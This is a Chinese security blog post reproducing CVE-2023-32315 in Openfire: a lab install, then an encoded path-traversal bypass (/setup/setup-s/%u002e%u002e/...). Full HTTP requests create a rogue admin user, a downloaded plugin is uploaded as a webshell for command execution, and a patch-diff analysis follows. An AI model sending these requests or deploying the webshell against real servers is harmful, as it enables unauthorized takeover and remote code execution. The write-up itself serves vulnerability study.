OpenFire从CVE-2023-32315到RCE过程复现

admin 2023年7月25日15:28:33评论99 views字数 2737阅读9分7秒阅读模式

获黑客教程

免费&进群

OpenFire从CVE-2023-32315到RCE过程复现
OpenFire从CVE-2023-32315到RCE过程复现

简介

Openfire是一个基于XMPP协议的即时通讯服务器,也称之为即时通讯平台。在即时通讯中往往因为需要保存一些状态或者数据所以不能采用点对点通讯,而是需要搭建服务器来转发。Openfire的管理页面包含5个菜单选项,分别是服务器基本信息配置选项、用户组管理选项、会话管理选项、分组聊天选项和插件选项。

影响版本

3.10.0<= Openfire <4.6.8

4.7.0<=Openfire <4.7.5

Openfire搭建

下载地址

https://github.com/igniterealtime/Openfire/releases/download/v4.7.3/openfire_4_7_3_x64.exe

本地安装好jdk,windwos版本直接安装

OpenFire从CVE-2023-32315到RCE过程复现

下一步到最后完成安装

OpenFire从CVE-2023-32315到RCE过程复现

启动服务端

OpenFire从CVE-2023-32315到RCE过程复现

访问

http://localhost:9090

OpenFire从CVE-2023-32315到RCE过程复现

为了复现没必要安装外联数据库

OpenFire从CVE-2023-32315到RCE过程复现

安装完成后,管理界面

http://localhost:9090/login.jsp

OpenFire从CVE-2023-32315到RCE过程复现

漏洞复现

payload:

/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

OpenFire从CVE-2023-32315到RCE过程复现

第一步构造‘poc

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp HTTP/1.1
Host: 192.168.0.105:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:9090/user-summary.jsp
Connection: close
Upgrade-Insecure-Requests: 1

OpenFire从CVE-2023-32315到RCE过程复现

获取到cookie,第二步构造用户

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=eLn7fgybS8C4SNC&username=aaadmin&name=aaadmin&email=&password=1qaz2wsx&passwordConfirm=1qaz2wsx&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 192.168.0.105:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105:9090/user-summary.jsp
Connection: close
Cookie: JSESSIONID=node0xglgmlc1v8s71iojn4ob0crsb9.node0; csrf=eLn7fgybS8C4SNC
Upgrade-Insecure-Requests: 1

OpenFire从CVE-2023-32315到RCE过程复现
使用aaadmin/1qaz2wsx登录

OpenFire从CVE-2023-32315到RCE过程复现

且在poc中设置用户为管理员用户

OpenFire从CVE-2023-32315到RCE过程复现

当然这里利用网上师傅写好的go工具可一键利用,这中利用产生点跟通达OA老洞类似。

RCE

根据目前已经披露的利用方法分为两步,这里的RCE是在属于后渗透的利用,根据创建的用户利用插件功能上传webshell

插件下载地址

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1

OpenFire从CVE-2023-32315到RCE过程复现

插件上传成功

OpenFire从CVE-2023-32315到RCE过程复现

这里密码为123,进入服务器-》服务器设置-》shellplugin,输入密码

OpenFire从CVE-2023-32315到RCE过程复现

通过该jar包实现RCE

OpenFire从CVE-2023-32315到RCE过程复现

可对文件操作,执行系统命令

OpenFire从CVE-2023-32315到RCE过程复现

OpenFire从CVE-2023-32315到RCE过程复现

漏洞分析

这里对比一下4.7.5版本和4.7.4版本的区别

OpenFire从CVE-2023-32315到RCE过程复现

从未授权的位置看xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java代码中对于身份权限增加了校验

OpenFire从CVE-2023-32315到RCE过程复现

在配置文件xmppserver/src/main/webapp/WEB-INF/web.xml

OpenFire从CVE-2023-32315到RCE过程复现

查看到对excludes的值的定义,payload的的构造是满足158行的内容

OpenFire从CVE-2023-32315到RCE过程复现

当构造../../的时候是满足159行的if条件,但是在payload中对该内容做了utf8的编码,所以绕过了161行的if判断,导致了未授权的产生,使之能够绕过权限校验。

所以在4.7.5的版本中也增加对utf8的解码

OpenFire从CVE-2023-32315到RCE过程复现

参考链接

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass



原文地址:https://www.sec-in.com/article/2232


声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@

学习更多渗透技能!体验靶场实战练习

OpenFire从CVE-2023-32315到RCE过程复现

hack视频资料及工具

OpenFire从CVE-2023-32315到RCE过程复现

(部分展示)



往期推荐

给第一次做渗透项目的新手总结的一些感悟

「登陆页面」常见的几种渗透思路与总结!

突破口!入职安服后的经验之谈

红队渗透下的入口权限快速获取

攻防演练|红队手段之将蓝队逼到关站!

CNVD 之5000w通用产品的收集(fofa)

自动化挖掘cnvd证书脚本

Xray捡洞中的高频漏洞

实战|通过供应链一举拿下目标后台权限

实战|一次真实的域渗透拿下域控(内网渗透)

看到这里了,点个“赞”、“再看”吧

原文始发于微信公众号(白帽子左一):OpenFire从CVE-2023-32315到RCE过程复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月25日15:28:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OpenFire从CVE-2023-32315到RCE过程复现http://cn-sec.com/archives/1906221.html

发表评论

匿名网友 填写信息